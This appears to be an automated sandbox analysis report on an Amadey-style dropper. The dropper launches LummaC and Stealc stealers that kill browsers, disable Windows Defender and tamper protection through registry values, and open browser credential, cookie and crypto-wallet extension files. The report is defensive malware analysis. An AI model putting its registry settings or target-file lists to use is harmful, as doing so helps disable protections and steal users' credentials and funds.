Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: 3018c3d2e6.exe, 0000000A.00000000.2943669602.0000000000CE2000.00000002.00000001.01000000.0000000B.sdmp, 3018c3d2e6.exe, 0000001D.00000002.3284559983.0000000000CE2000.00000002.00000001.01000000.0000000B.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.3313157378.000000000103B000.00000040.00000001.01000000.00000007.sdmp, 5a0a40fcc4.exe, 5a0a40fcc4.exe, 00000007.00000002.2857665387.00000000009FF000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Program Manager
Source: firefox.exe, 00000017.00000002.3124070571.000000B8E67FB000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?Progman
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E6D3E2 cpuid 6_2_00E6D3E2
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008257001\3018c3d2e6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008259001\4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1008259001\4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008256001\eec95b2021.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008259001\4.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E6CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 6_2_00E6CBEA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E565E0 LookupAccountNameA, 6_2_00E565E0
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Registry value created: TamperProtection 0
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008258001\a6260c40a9.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations
AV process strings found (often used to terminate AV products)
Source: 5a0a40fcc4.exe, 00000009.00000003.3207989831.00000000059D6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 6.2.skotes.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.skotes.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.skotes.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.2108909276.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2105245900.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.2094565331.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3312575113.0000000000E51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2149318596.0000000000E51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2663039129.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2135160216.0000000000E51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2065030740.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: 0000001D.00000003.3109316415.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3018c3d2e6.exe PID: 5176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3018c3d2e6.exe PID: 2548, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 5a0a40fcc4.exe PID: 516, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000001B.00000002.3145146788.0000000000D81000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2894295359.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.3143929621.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.3056137310.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2938536247.0000000000D81000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: eec95b2021.exe PID: 5260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eec95b2021.exe PID: 6476, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 5a0a40fcc4.exe String found in binary or memory: Wallets/Electrum
Source: 5a0a40fcc4.exe String found in binary or memory: ets/ElectronCash
Source: 5a0a40fcc4.exe String found in binary or memory: Jaxx Liberty
Source: 5a0a40fcc4.exe String found in binary or memory: window-state.json
Source: 5a0a40fcc4.exe String found in binary or memory: Wallets/Exodus
Source: 5a0a40fcc4.exe String found in binary or memory: Wallets/Ethereum
Source: 5a0a40fcc4.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 5a0a40fcc4.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
